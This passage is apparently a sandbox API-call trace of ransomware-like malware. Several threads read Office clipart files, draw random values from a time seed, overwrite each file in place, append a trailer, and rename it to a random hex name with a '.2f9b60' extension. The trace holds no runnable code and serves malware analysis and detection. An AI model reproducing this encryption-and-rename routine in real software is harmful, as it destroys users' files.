BaseAddress=0x1b7d7f80) returned 1 [0163.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0163.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d20) returned 1 [0163.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423acf50) returned 1 [0163.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6530) returned 1 [0163.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6560) returned 1 [0163.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6500) returned 1 [0163.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a64d0) returned 1 [0163.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a30) returned 1 [0163.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3af0) returned 1 [0163.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3b20) returned 1 [0163.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d920 [0163.851] wcscat (in: _Dest=0x4230d920, _Source="aaf64d067823" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aaf64d067823") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aaf64d067823" [0163.851] wcscat (in: _Dest=0x4230d920, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aaf64d067823.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aaf64d067823.2f9b60" [0163.851] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aaf64d067823.2f9b60", NtPathName=0x281ef8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aaf64d067823.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a210 Thread: id = 2351 os_tid = 0x1d20 [0149.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0149.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF", dwFileAttributes=0x20) returned 1 [0149.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2198 [0149.903] GetFileSizeEx (in: hFile=0x2198, lpFileSize=0x2283f9c0 | out: lpFileSize=0x2283f9c0*=2232) returned 1 [0149.903] SetFilePointerEx (in: hFile=0x2198, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.903] ReadFile (in: hFile=0x2198, lpBuffer=0x2283f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2283f988, lpOverlapped=0x0 | out: lpBuffer=0x2283f940*, lpNumberOfBytesRead=0x2283f988*=0x4, lpOverlapped=0x0) returned 1 [0149.904] SetFilePointerEx (in: hFile=0x2198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ac0 [0149.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b50 [0149.905] NtQuerySystemTime (in: CurrentTime=0x2283f880 | out: CurrentTime=0x2283f880*=132462177551182000) returned 0x0 [0149.905] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x1d0de6f2 [0149.905] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x137eaca3 [0149.905] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0xef63b13 [0149.905] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0xe8311e2 [0149.905] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x1c0421c7 [0149.905] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x4758a8b0 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x7d63170d [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x1d934562 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x5e6dede4 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x6a238e79 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x243cc1d9 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x70227c21 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x51491f87 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x311641c4 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x14898ce2 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x48dbc83a [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x3ccec6a6 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x47f83e0 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x8201804 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x204e4df1 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x510c7ae9 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x6a7a13c9 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x7bec57b6 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x7e6249e6 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x3806c217 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x2aae387e [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x7c9f2dd6 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x3cfb1238 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x3976080f [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x5acb6cc9 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x209682e2 [0149.906] RtlRandomEx (in: Seed=0x2283f870 | out: Seed=0x2283f870) returned 0x52ecea10 [0149.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b80 [0149.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a830 [0149.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3bb0 [0149.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a830) returned 1 [0149.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3b50) returned 1 [0149.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0149.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a830 [0149.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423bd540 [0149.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c1150 [0149.915] ReadFile (in: hFile=0x2198, lpBuffer=0x423bd540, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x2283f870, lpOverlapped=0x0 | out: lpBuffer=0x423bd540*, lpNumberOfBytesRead=0x2283f870*=0x8b8, lpOverlapped=0x0) returned 1 [0149.915] SetFilePointerEx (in: hFile=0x2198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.915] WriteFile (in: hFile=0x2198, lpBuffer=0x423c1150*, nNumberOfBytesToWrite=0x8b8, lpNumberOfBytesWritten=0x2283f874, lpOverlapped=0x0 | out: lpBuffer=0x423c1150*, lpNumberOfBytesWritten=0x2283f874*=0x8b8, lpOverlapped=0x0) returned 1 [0161.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6710 [0161.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6740 [0161.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6740) returned 1 [0161.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c1150) returned 1 [0161.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423bd540) returned 1 [0161.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a830) returned 1 [0161.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0161.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6740 [0161.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0161.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a830 [0161.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6770 [0161.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6770) returned 1 [0161.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6770 [0161.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a67a0 [0161.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a67d0 [0161.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a67d0) returned 1 [0161.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a830) returned 1 [0161.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0161.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ad190 [0161.948] SetFilePointerEx (in: hFile=0x2198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.948] WriteFile (in: hFile=0x2198, lpBuffer=0x423ad190*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2283f990, lpOverlapped=0x0 | out: lpBuffer=0x423ad190*, lpNumberOfBytesWritten=0x2283f990*=0x10a, lpOverlapped=0x0) returned 1 [0163.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8db0 [0163.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8db0) returned 1 [0163.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d080 [0163.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8db0 [0163.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d80 [0163.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d80) returned 1 [0163.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.886] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="4b") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="8c") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="20") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="ac") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="90") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="d9") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="84") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="32") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="91") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="83") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="75") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="10") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="b4") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="c5") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="48") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="01") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="4c") returned 2 [0163.886] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="f2") returned 2 [0163.887] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="b2") returned 2 [0163.887] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.887] RtlInitAnsiString (in: DestinationString=0x2283fa08, SourceString="8e4b8c20ac90d9843291837d7510b4c5ba485c014cf2b2c0" | out: DestinationString="8e4b8c20ac90d9843291837d7510b4c5ba485c014cf2b2c0") [0163.887] RtlAnsiStringToUnicodeString (in: DestinationString=0x2283f9d8, SourceString="8e4b8c20ac90d9843291837d7510b4c5ba485c014cf2b2c0", AllocateDestinationString=1 | out: DestinationString="8e4b8c20ac90d9843291837d7510b4c5ba485c014cf2b2c0") returned 0x0 [0163.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa0b0 [0163.887] RtlFreeAnsiString (AnsiString="8") [0163.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8db0) returned 1 [0163.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad190) returned 1 [0163.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6770) returned 1 [0163.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a67a0) returned 1 [0163.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6740) returned 1 [0163.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6710) returned 1 [0163.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ac0) returned 1 [0163.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3b80) returned 1 [0163.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3bb0) returned 1 [0163.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230da60 [0163.890] wcscat (in: _Dest=0x4230da60, _Source="8e4b8c20ac90" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8e4b8c20ac90") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8e4b8c20ac90" [0163.890] wcscat (in: _Dest=0x4230da60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8e4b8c20ac90.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8e4b8c20ac90.2f9b60" [0163.890] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8e4b8c20ac90.2f9b60", NtPathName=0x2283f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8e4b8c20ac90.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a390 Thread: id = 2352 os_tid = 0x1d24 [0149.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0149.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF", dwFileAttributes=0x20) returned 1 [0149.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x219c [0149.919] GetFileSizeEx (in: hFile=0x219c, lpFileSize=0x27f5f9e0 | out: lpFileSize=0x27f5f9e0*=1804) returned 1 [0149.919] SetFilePointerEx (in: hFile=0x219c, liDistanceToMove=0x708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.919] ReadFile (in: hFile=0x219c, lpBuffer=0x27f5f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27f5f9a8, lpOverlapped=0x0 | out: lpBuffer=0x27f5f960*, lpNumberOfBytesRead=0x27f5f9a8*=0x4, lpOverlapped=0x0) returned 1 [0149.921] SetFilePointerEx (in: hFile=0x219c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b50 [0149.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3be0 [0149.922] NtQuerySystemTime (in: CurrentTime=0x27f5f8a0 | out: CurrentTime=0x27f5f8a0*=132462177551338000) returned 0x0 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x73fbf561 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x18cf76d2 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x605622d5 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x6e63d44e [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x5500562c [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x40faa56c [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x27a22794 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x77be7b18 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x4961d4e6 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x6fcccaa1 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x599fa712 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x7f3078da [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x97ffb33 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x3cf5762f [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x50dc21dd [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x3eb2453e [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0xe5417dd [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x5ff2133d [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x688da9a5 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x412de393 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x5fd177cd [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x48bc7252 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x3a7e84cd [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x146d1483 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x2f0860c8 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x78f6e85a [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x170b9972 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x483a45a3 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0xd13cf8b [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x2e4568b0 [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x3a78d65a [0149.922] RtlRandomEx (in: Seed=0x27f5f890 | out: Seed=0x27f5f890) returned 0x8c4695f [0149.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c10 [0149.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a8b0 [0149.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c40 [0149.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a8b0) returned 1 [0149.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3be0) returned 1 [0149.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0149.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a8b0 [0149.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c4d60 [0149.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c8970 [0149.930] ReadFile (in: hFile=0x219c, lpBuffer=0x423c4d60, nNumberOfBytesToRead=0x70c, lpNumberOfBytesRead=0x27f5f890, lpOverlapped=0x0 | out: lpBuffer=0x423c4d60*, lpNumberOfBytesRead=0x27f5f890*=0x70c, lpOverlapped=0x0) returned 1 [0149.931] SetFilePointerEx (in: hFile=0x219c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.931] WriteFile (in: hFile=0x219c, lpBuffer=0x423c8970*, nNumberOfBytesToWrite=0x70c, lpNumberOfBytesWritten=0x27f5f894, lpOverlapped=0x0 | out: lpBuffer=0x423c8970*, lpNumberOfBytesWritten=0x27f5f894*=0x70c, lpOverlapped=0x0) returned 1 [0161.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a67d0 [0161.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6800 [0161.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6800) returned 1 [0161.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c8970) returned 1 [0161.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c4d60) returned 1 [0161.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a8b0) returned 1 [0161.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0161.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6800 [0161.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0161.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a8b0 [0161.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6830 [0161.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6830) returned 1 [0161.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6830 [0161.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6860 [0161.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6890 [0161.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6890) returned 1 [0161.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a8b0) returned 1 [0161.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0161.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ad2b0 [0161.953] SetFilePointerEx (in: hFile=0x219c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.953] WriteFile (in: hFile=0x219c, lpBuffer=0x423ad2b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27f5f9b0, lpOverlapped=0x0 | 